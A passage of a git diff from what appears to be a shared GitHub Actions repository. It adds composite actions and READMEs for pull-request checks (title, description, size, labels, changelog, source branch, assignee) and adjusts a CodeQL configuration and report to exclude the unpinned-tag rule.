\n\n'; + } + // ── Footer ── const runUrl = `${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`; body += `---\n🔍 [View full scan logs](${runUrl})\n`; diff --git a/src/security/codeql-config/action.yml b/src/security/codeql-config/action.yml index 9d0f0e1e..35f65e47 100644 --- a/src/security/codeql-config/action.yml +++ b/src/security/codeql-config/action.yml @@ -51,6 +51,10 @@ runs: echo "$PATHS" | while IFS= read -r p; do echo " - '$p'" done + echo "" + echo "query-filters:" + echo " - exclude:" + echo " id: actions/unpinned-tag" } > "$CONFIG_FILE" echo "skip=false" >> "$GITHUB_OUTPUT" diff --git a/src/security/codeql-reporter/action.yml b/src/security/codeql-reporter/action.yml index 398041db..9c766141 100644 --- a/src/security/codeql-reporter/action.yml +++ b/src/security/codeql-reporter/action.yml @@ -30,7 +30,7 @@ runs: steps: - name: Post CodeQL report to PR id: report - uses: actions/github-script@v8 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: SARIF_PATH: ${{ inputs.sarif-path }} LANGUAGES: ${{ inputs.languages }} @@ -125,8 +125,12 @@ runs: return findings; } + // ── Filter suppressed rules ── + // unpinned-tag is handled by our own pinned-actions lint check with org-aware logic + const SUPPRESSED_RULES = ['actions/unpinned-tag']; + // ── Build Report ── - const findings = readSarifFiles(); + const findings = readSarifFiles().filter(f => !SUPPRESSED_RULES.includes(f.rule)); findingsCount = findings.length; body += `## \u{1F6E1}\uFE0F CodeQL Analysis Results\n\n`; diff --git a/src/validate/pr-changelog/README.md b/src/validate/pr-changelog/README.md new file mode 100644 index 00000000..ba95978a --- /dev/null +++ b/src/validate/pr-changelog/README.md @@ -0,0 +1,45 @@ + + + + + +
Lerian

pr-changelog

+ +Checks if `CHANGELOG.md` was updated in the PR diff. Outputs the result for use by downstream jobs (e.g., summary reporting). + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `base-ref` | Base branch for diff comparison | Yes | | + +## Outputs + +| Output | Description | +|--------|-------------| +| `updated` | Whether CHANGELOG.md was updated (`true`/`false`) | + +## Usage as composite step + +```yaml +jobs: + pr-changelog: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Checkout + uses: actions/checkout@v6 + with: + fetch-depth: 0 + + - name: Check Changelog + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-changelog@v1.x.x + with: + base-ref: ${{ github.base_ref }} +``` + +## Required permissions + +```yaml +permissions: + contents: read +``` diff --git a/src/validate/pr-changelog/action.yml b/src/validate/pr-changelog/action.yml new file mode 100644 index 00000000..fcba4bf3 --- /dev/null +++ b/src/validate/pr-changelog/action.yml @@ -0,0 +1,29 @@ +name: Check Changelog Update +description: "Checks if CHANGELOG.md was updated in the PR diff." + +inputs: + base-ref: + description: Base branch for diff comparison + required: true + +outputs: + updated: + description: "Whether CHANGELOG.md was updated (true/false)" + value: ${{ steps.changelog.outputs.updated }} + +runs: + using: composite + steps: + # ----------------- Check ----------------- + - name: Check if CHANGELOG updated + id: changelog + shell: bash + env: + BASE_REF: ${{ inputs.base-ref }} + run: | + if git diff --name-only "origin/${BASE_REF}...HEAD" | grep -q "CHANGELOG.md"; then + echo "updated=true" >> "$GITHUB_OUTPUT" + else + echo "updated=false" >> "$GITHUB_OUTPUT" + fi + diff --git a/src/validate/pr-checks-summary/README.md b/src/validate/pr-checks-summary/README.md new file mode 100644 index 00000000..3a02eabb --- /dev/null +++ b/src/validate/pr-checks-summary/README.md @@ -0,0 +1,48 @@ + + + + + +
Lerian

pr-checks-summary

+ +Generates a summary table of all PR validation check results in the GitHub Actions job summary, grouped by tier (Blocking / Advisory). + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `source-branch-result` | Result of source branch validation | No | `skipped` | +| `title-result` | Result of PR title validation | No | `skipped` | +| `description-result` | Result of PR description check | No | `skipped` | +| `size-result` | Result of PR size check | No | `skipped` | +| `label-result` | Result of auto-label step | No | `skipped` | +| `metadata-result` | Result of PR metadata check | No | `skipped` | +| `dry-run` | Whether this is a dry run | No | `false` | + +## Usage as composite step + +```yaml +jobs: + pr-checks-summary: + runs-on: blacksmith-4vcpu-ubuntu-2404 + needs: [blocking-checks, advisory-checks] + if: always() + steps: + - name: PR Checks Summary + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-checks-summary@v1.x.x + with: + source-branch-result: ${{ needs.blocking-checks.outputs.source-branch-result || 'skipped' }} + title-result: ${{ needs.blocking-checks.outputs.title-result || 'skipped' }} + description-result: ${{ needs.blocking-checks.outputs.description-result || 'skipped' }} + size-result: ${{ needs.advisory-checks.outputs.size-result || 'skipped' }} + label-result: ${{ needs.advisory-checks.outputs.label-result || 'skipped' }} + metadata-result: ${{ needs.advisory-checks.outputs.metadata-result || 'skipped' }} + dry-run: "true" +``` + +## Required permissions + +```yaml +permissions: + contents: read +``` diff --git a/src/validate/pr-checks-summary/action.yml b/src/validate/pr-checks-summary/action.yml new file mode 100644 index 00000000..f8881f8e --- /dev/null +++ b/src/validate/pr-checks-summary/action.yml @@ -0,0 +1,78 @@ +name: PR Checks Summary +description: "Generates a summary table of all PR validation check results, grouped by tier." + +inputs: + source-branch-result: + description: Result of source branch validation + required: false + default: skipped + title-result: + description: Result of PR title validation + required: false + default: skipped + size-result: + description: Result of PR size check + required: false + default: skipped + description-result: + description: Result of PR description check + required: false + default: skipped + label-result: + description: Result of auto-label step + required: false + default: skipped + metadata-result: + description: Result of PR metadata check + required: false + default: skipped + dry-run: + description: Whether this is a dry run + required: false + default: "false" + +runs: + using: composite + steps: + - name: Summary + shell: bash + env: + SOURCE_BRANCH_RESULT: ${{ inputs.source-branch-result }} + TITLE_RESULT: ${{ inputs.title-result }} + SIZE_RESULT: ${{ inputs.size-result }} + DESCRIPTION_RESULT: ${{ inputs.description-result }} + LABEL_RESULT: ${{ inputs.label-result }} + METADATA_RESULT: ${{ inputs.metadata-result }} + DRY_RUN: ${{ inputs.dry-run }} + run: | + icon() { + case "$1" in + success) echo "✅" ;; + failure) echo "❌" ;; + *) echo "⏭️" ;; + esac + } + + { + echo "## PR Checks Summary" + echo "" + if [ "$DRY_RUN" = "true" ]; then + echo "> **DRY RUN** — no comments, labels, or reviews were posted" + echo "" + fi + echo "### Blocking" + echo "" + echo "| Check | Result |" + echo "|-------|--------|" + echo "| Source Branch | $(icon "$SOURCE_BRANCH_RESULT") ${SOURCE_BRANCH_RESULT} |" + echo "| PR Title | $(icon "$TITLE_RESULT") ${TITLE_RESULT} |" + echo "| PR Description | $(icon "$DESCRIPTION_RESULT") ${DESCRIPTION_RESULT} |" + echo "" + echo "### Advisory" + echo "" + echo "| Check | Result |" + echo "|-------|--------|" + echo "| PR Size | $(icon "$SIZE_RESULT") ${SIZE_RESULT} |" + echo "| Auto-label | $(icon "$LABEL_RESULT") ${LABEL_RESULT} |" + echo "| Metadata | $(icon "$METADATA_RESULT") ${METADATA_RESULT} |" + } >> "$GITHUB_STEP_SUMMARY" diff --git a/src/validate/pr-description/README.md b/src/validate/pr-description/README.md new file mode 100644 index 00000000..b8e57fd1 --- /dev/null +++ b/src/validate/pr-description/README.md @@ -0,0 +1,37 @@ + + + + + +
Lerian

pr-description

+ +Validates that the PR description has real content beyond template boilerplate: + +- **Description section**: extracts content under `## Description`, strips HTML comments, and checks minimum length +- **Type of Change**: verifies at least one checkbox is checked (`- [x]`) + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `min-length` | Minimum content length in characters (after stripping template boilerplate) | No | `30` | + +## Usage as composite step + +```yaml +jobs: + pr-description: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Validate PR Description + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-description@v1.x.x + with: + min-length: "50" +``` + +## Required permissions + +```yaml +permissions: + pull-requests: read +``` diff --git a/src/validate/pr-description/action.yml b/src/validate/pr-description/action.yml new file mode 100644 index 00000000..899e9ad5 --- /dev/null +++ b/src/validate/pr-description/action.yml @@ -0,0 +1,60 @@ +name: Validate PR Description +description: "Validates that the PR description has real content beyond template boilerplate." + +inputs: + min-length: + description: Minimum content length in characters (after stripping template boilerplate) + required: false + default: "30" + +runs: + using: composite + steps: + - name: Validate PR description + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 + env: + MIN_LENGTH: ${{ inputs.min-length }} + with: + script: | + const body = context.payload.pull_request.body || ''; + const minLength = parseInt(process.env.MIN_LENGTH, 10); + if (isNaN(minLength) || minLength <= 0) { + core.setFailed(`Invalid min-length input: '${process.env.MIN_LENGTH}'`); + return; + } + const errors = []; + const warnings = []; + + // --- Extract content under "## Description" heading --- + const descriptionMatch = body.match(/## Description\s*\n([\s\S]*?)(?=\n## |\n---\s*$|$)/); + const descriptionContent = descriptionMatch ? descriptionMatch[1].trim() : ''; + + // Strip HTML comments + const cleaned = descriptionContent.replace(//g, '').trim(); + + if (cleaned.length === 0) { + errors.push('The "Description" section is empty. Please summarize what this PR does and why.'); + } else if (cleaned.length < minLength) { + errors.push(`The "Description" section is too short (${cleaned.length} chars, minimum ${minLength}). Please provide more detail.`); + } + + // --- Check that at least one "Type of Change" checkbox is checked --- + const typeMatch = body.match(/## Type of Change\s*\n([\s\S]*?)(?=\n## |$)/); + if (typeMatch) { + const typeSection = typeMatch[1]; + const checked = typeSection.match(/- \[x\]/gi); + if (!checked) { + errors.push('No "Type of Change" checkbox is checked. Please mark at least one.'); + } + } else { + errors.push('Missing "Type of Change" section. Please use the PR template.'); + } + + // --- Report --- + for (const w of warnings) { + core.warning(w); + } + + if (errors.length > 0) { + core.setFailed(errors.join('\n')); + } diff --git a/src/validate/pr-labels/README.md b/src/validate/pr-labels/README.md new file mode 100644 index 00000000..d97ccc48 --- /dev/null +++ b/src/validate/pr-labels/README.md @@ -0,0 +1,41 @@ + + + + + +
Lerian

pr-labels

+ +Automatically adds labels to a PR based on changed files using the [actions/labeler](https://github.com/actions/labeler) configuration. + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `github-token` | GitHub token with pull-requests write permission | Yes | | +| `config-path` | Path to labeler configuration file | No | `.github/labeler.yml` | + +## Usage as composite step + +```yaml +jobs: + pr-labels: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Checkout + uses: actions/checkout@v6 + with: + fetch-depth: 0 + + - name: Auto-label PR + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-labels@v1.x.x + with: + github-token: ${{ secrets.GITHUB_TOKEN }} +``` + +## Required permissions + +```yaml +permissions: + contents: read + pull-requests: write +``` diff --git a/src/validate/pr-labels/action.yml b/src/validate/pr-labels/action.yml new file mode 100644 index 00000000..ed800f42 --- /dev/null +++ b/src/validate/pr-labels/action.yml @@ -0,0 +1,21 @@ +name: Auto-label PR +description: "Automatically adds labels to PR based on changed files using labeler configuration." + +inputs: + github-token: + description: GitHub token with pull-requests write permission + required: true + config-path: + description: Path to labeler configuration file + required: false + default: ".github/labeler.yml" + +runs: + using: composite + steps: + - name: Auto-label based on files + uses: actions/labeler@634933edcd8ababfe52f92936142cc22ac488b1b # v6 + with: + repo-token: ${{ inputs.github-token }} + configuration-path: ${{ inputs.config-path }} + sync-labels: true diff --git a/src/validate/pr-metadata/README.md b/src/validate/pr-metadata/README.md new file mode 100644 index 00000000..d0bde954 --- /dev/null +++ b/src/validate/pr-metadata/README.md @@ -0,0 +1,34 @@ + + + + + +
Lerian

pr-metadata

+ +Auto-assigns the PR author as assignee when no one is assigned. Skips bot accounts (dependabot, github-actions, etc). + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `github-token` | GitHub token with pull-requests write permission | Yes | | + +## Usage as composite step + +```yaml +jobs: + pr-metadata: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Auto-assign PR author + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@v1.x.x + with: + github-token: ${{ secrets.GITHUB_TOKEN }} +``` + +## Required permissions + +```yaml +permissions: + pull-requests: write +``` diff --git a/src/validate/pr-metadata/action.yml b/src/validate/pr-metadata/action.yml new file mode 100644 index 00000000..1ae9f36e --- /dev/null +++ b/src/validate/pr-metadata/action.yml @@ -0,0 +1,51 @@ +name: Validate PR Metadata +description: "Auto-assigns the PR author if no assignee is set (skips bot accounts)." + +inputs: + github-token: + description: GitHub token with pull-requests write permission + required: true + dry-run: + description: "When true, log what would happen without making changes" + required: false + default: "false" + +runs: + using: composite + steps: + - name: Auto-assign PR author + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 + env: + DRY_RUN: ${{ inputs.dry-run }} + with: + github-token: ${{ inputs.github-token }} + script: | + const pr = context.payload.pull_request; + const dryRun = process.env.DRY_RUN === 'true'; + + if (pr.assignees?.length > 0) { + console.log(`PR already has assignees: ${pr.assignees.map(a => a.login).join(', ')}`); + return; + } + + const author = pr.user.login; + const authorType = pr.user.type; + + if (authorType === 'Bot' || author.endsWith('[bot]') || author === 'dependabot') { + console.log(`Skipping auto-assign — author '${author}' is a bot`); + return; + } + + if (dryRun) { + core.notice(`DRY RUN — would auto-assign '${author}' to the PR`); + return; + } + + console.log(`No assignees found. Auto-assigning author '${author}'`); + await github.rest.issues.addAssignees({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: context.issue.number, + assignees: [author] + }); + console.log(`✅ Assigned '${author}' to the PR`); diff --git a/src/validate/pr-size/README.md b/src/validate/pr-size/README.md new file mode 100644 index 00000000..c3c07221 --- /dev/null +++ b/src/validate/pr-size/README.md @@ -0,0 +1,58 @@ + + + + + +
Lerian

pr-size

+ +Calculates PR size based on changed lines, adds a size label (`size/XS` through `size/XL`), and comments on extra-large PRs suggesting they be broken up. + +| Lines Changed | Label | +|---------------|-------| +| < 50 | `size/XS` | +| 50–199 | `size/S` | +| 200–499 | `size/M` | +| 500–999 | `size/L` | +| >= 1000 | `size/XL` | + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `github-token` | GitHub token with pull-requests write permission | Yes | | +| `base-ref` | Base branch for diff comparison | Yes | | +| `dry-run` | When true, calculate size without adding labels or comments | No | `false` | + +## Outputs + +| Output | Description | +|--------|-------------| +| `size` | PR size category (XS, S, M, L, XL) | +| `changed-lines` | Number of changed lines | + +## Usage as composite step + +```yaml +jobs: + pr-size: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Checkout + uses: actions/checkout@v6 + with: + fetch-depth: 0 + + - name: Check PR Size + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-size@v1.x.x + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + base-ref: ${{ github.base_ref }} +``` + +## Required permissions + +```yaml +permissions: + contents: read + pull-requests: write +``` diff --git a/src/validate/pr-size/action.yml b/src/validate/pr-size/action.yml new file mode 100644 index 00000000..744e84f7 --- /dev/null +++ b/src/validate/pr-size/action.yml @@ -0,0 +1,91 @@ +name: Check PR Size +description: "Calculates PR size and adds a size label." + +inputs: + github-token: + description: GitHub token with pull-requests write permission + required: true + base-ref: + description: Base branch for diff comparison + required: true + dry-run: + description: "When true, calculate size without adding labels" + required: false + default: "false" + +outputs: + size: + description: "PR size category (XS, S, M, L, XL)" + value: ${{ steps.size.outputs.size }} + changed-lines: + description: "Number of changed lines" + value: ${{ steps.size.outputs.changed_lines }} + +runs: + using: composite + steps: + - name: Calculate PR size + id: size + shell: bash + env: + BASE_REF: ${{ inputs.base-ref }} + run: | + CHANGED_LINES=$(git diff --shortstat "origin/${BASE_REF}...HEAD" | \ + awk '{print $4+$6}') + CHANGED_LINES=${CHANGED_LINES:-0} + echo "changed_lines=${CHANGED_LINES}" >> "$GITHUB_OUTPUT" + + if [ "$CHANGED_LINES" -lt 50 ]; then + SIZE="XS" + elif [ "$CHANGED_LINES" -lt 200 ]; then + SIZE="S" + elif [ "$CHANGED_LINES" -lt 500 ]; then + SIZE="M" + elif [ "$CHANGED_LINES" -lt 1000 ]; then + SIZE="L" + else + SIZE="XL" + fi + echo "size=${SIZE}" >> "$GITHUB_OUTPUT" + echo "::notice::PR size: ${SIZE} (${CHANGED_LINES} lines changed)" + + - name: Add size label + if: inputs.dry-run != 'true' + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 + env: + PR_SIZE: ${{ steps.size.outputs.size }} + with: + github-token: ${{ inputs.github-token }} + script: | + const size = process.env.PR_SIZE; + const targetLabel = `size/${size}`; + const allSizeLabels = ['size/XS', 'size/S', 'size/M', 'size/L', 'size/XL']; + const currentLabels = context.payload.pull_request.labels.map(l => l.name); + + // Skip if already has the correct label + if (currentLabels.includes(targetLabel)) { + console.log(`✅ Label '${targetLabel}' already set — no change needed`); + return; + } + + // Remove stale size labels + for (const label of allSizeLabels) { + if (currentLabels.includes(label)) { + console.log(`Removing stale label '${label}'`); + await github.rest.issues.removeLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: context.issue.number, + name: label + }); + } + } + + // Add correct label + console.log(`Adding label '${targetLabel}'`); + await github.rest.issues.addLabels({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: context.issue.number, + labels: [targetLabel] + }); diff --git a/src/validate/pr-source-branch/README.md b/src/validate/pr-source-branch/README.md new file mode 100644 index 00000000..58f41e41 --- /dev/null +++ b/src/validate/pr-source-branch/README.md @@ -0,0 +1,54 @@ + + + + + +
Lerian

pr-source-branch

+ +Validates that PRs to protected branches come from allowed source branches. Supports exact branch names and prefix patterns (e.g., `hotfix/*`). + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `github-token` | GitHub token with pull-requests write permission | Yes | | +| `allowed-branches` | Allowed source branches (pipe-separated, supports `*` wildcard) | No | `develop\|release-candidate\|hotfix/*` | +| `target-branches` | Target branches that require validation (pipe-separated) | No | `main` | +| `dry-run` | When true, validate without posting REQUEST_CHANGES review | No | `false` | + +## Usage as composite step + +```yaml +jobs: + source-branch: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Validate Source Branch + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-source-branch@v1.x.x + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + allowed-branches: "develop|hotfix/*" + target-branches: "main" +``` + +## Usage as reusable workflow + +Called via the `pr-validation.yml` reusable workflow: + +```yaml +jobs: + validate: + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.x.x + with: + enforce_source_branches: true + allowed_source_branches: "develop|hotfix/*" + target_branches_for_source_check: "main" + secrets: inherit +``` + +## Required permissions + +```yaml +permissions: + pull-requests: write +``` diff --git a/src/validate/pr-source-branch/action.yml b/src/validate/pr-source-branch/action.yml new file mode 100644 index 00000000..4c72ee2d --- /dev/null +++ b/src/validate/pr-source-branch/action.yml @@ -0,0 +1,79 @@ +name: Validate PR Source Branch +description: "Validates that PRs to protected branches come from allowed source branches." + +inputs: + github-token: + description: GitHub token with pull-requests write permission + required: true + allowed-branches: + description: "Allowed source branches (pipe-separated, supports prefix matching with *)" + required: false + default: "develop|release-candidate|hotfix/*" + target-branches: + description: "Target branches that require source branch validation (pipe-separated)" + required: false + default: "main" + dry-run: + description: "When true, validate without posting REQUEST_CHANGES review" + required: false + default: "false" + +runs: + using: composite + steps: + - name: Validate source branch + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 + env: + ALLOWED_BRANCHES: ${{ inputs.allowed-branches }} + TARGET_BRANCHES: ${{ inputs.target-branches }} + DRY_RUN: ${{ inputs.dry-run }} + with: + github-token: ${{ inputs.github-token }} + script: | + const sourceBranch = context.payload.pull_request.head.ref; + const targetBranch = context.payload.pull_request.base.ref; + const allowedBranches = process.env.ALLOWED_BRANCHES.split('|').map(b => b.trim()); + const targetBranchesForCheck = process.env.TARGET_BRANCHES.split('|').map(b => b.trim()); + const dryRun = process.env.DRY_RUN === 'true'; + + if (!targetBranchesForCheck.includes(targetBranch)) { + console.log(`Target branch '${targetBranch}' does not require source branch validation`); + return; + } + + console.log(`Checking if source branch '${sourceBranch}' is allowed for target '${targetBranch}'`); + console.log(`Allowed patterns: ${allowedBranches.join(', ')}`); + + let isAllowed = false; + for (const pattern of allowedBranches) { + if (pattern.endsWith('*')) { + const prefix = pattern.slice(0, -1); + if (sourceBranch.startsWith(prefix)) { + isAllowed = true; + break; + } + } else if (pattern === sourceBranch) { + isAllowed = true; + break; + } + } + + if (!isAllowed) { + if (dryRun) { + core.notice(`DRY RUN — would post REQUEST_CHANGES review: source '${sourceBranch}' not allowed for target '${targetBranch}'`); + } else { + const message = `⚠️ **Invalid Source Branch**\n\nPull requests to **${targetBranch}** can only come from:\n${allowedBranches.map(b => `- \`${b}\``).join('\n')}\n\nYour source branch: \`${sourceBranch}\`\n\nPlease **change the base branch** or create a PR from an allowed branch.`; + + await github.rest.pulls.createReview({ + owner: context.repo.owner, + repo: context.repo.repo, + pull_number: context.issue.number, + body: message, + event: 'REQUEST_CHANGES' + }); + } + + core.setFailed(`Source branch '${sourceBranch}' is not allowed for PRs to '${targetBranch}'`); + } else { + console.log(`✅ Source branch '${sourceBranch}' is allowed`); + } diff --git a/src/validate/pr-title/README.md b/src/validate/pr-title/README.md new file mode 100644 index 00000000..2611470a --- /dev/null +++ b/src/validate/pr-title/README.md @@ -0,0 +1,53 @@ + + + + + +
Lerian

pr-title

+ +Validates PR title follows [Conventional Commits](https://www.conventionalcommits.org/) format using [action-semantic-pull-request](https://github.com/amannn/action-semantic-pull-request). + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `github-token` | GitHub token for PR status checks | Yes | | +| `types` | Allowed commit types (newline-separated) | No | `feat fix docs style refactor perf test chore ci build revert` | +| `scopes` | Allowed scopes (newline-separated, empty = any) | No | `""` | +| `require-scope` | Require scope in PR title | No | `false` | + +## Usage as composite step + +```yaml +jobs: + pr-title: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Validate PR Title + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-title@v1.x.x + with: + github-token: ${{ secrets.GITHUB_TOKEN }} +``` + +## Usage as reusable workflow + +Called via the `pr-validation.yml` reusable workflow: + +```yaml +jobs: + validate: + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.x.x + with: + pr_title_types: | + feat + fix + docs + secrets: inherit +``` + +## Required permissions + +```yaml +permissions: + pull-requests: read +``` diff --git a/src/validate/pr-title/action.yml b/src/validate/pr-title/action.yml new file mode 100644 index 00000000..acf8ee8b --- /dev/null +++ b/src/validate/pr-title/action.yml @@ -0,0 +1,47 @@ +name: Validate PR Title +description: "Validates PR title follows semantic commit format using conventional commits." + +inputs: + github-token: + description: GitHub token for PR status checks + required: true + types: + description: Allowed commit types (newline-separated) + required: false + default: | + feat + fix + docs + style + refactor + perf + test + chore + ci + build + revert + scopes: + description: Allowed scopes (newline-separated, empty = any scope allowed) + required: false + default: "" + require-scope: + description: Require scope in PR title + required: false + default: "false" + +runs: + using: composite + steps: + - name: Validate PR title format + uses: amannn/action-semantic-pull-request@48f256284bd46cdaab1048c3721360e808335d50 # v6 + env: + GITHUB_TOKEN: ${{ inputs.github-token }} + with: + types: ${{ inputs.types }} + scopes: ${{ inputs.scopes }} + requireScope: ${{ inputs.require-scope }} + subjectPattern: ^[a-z].+$ + subjectPatternError: | + The subject "{subject}" found in the pull request title "{title}" + didn't match the configured pattern. Please ensure that the subject + starts with a lowercase character.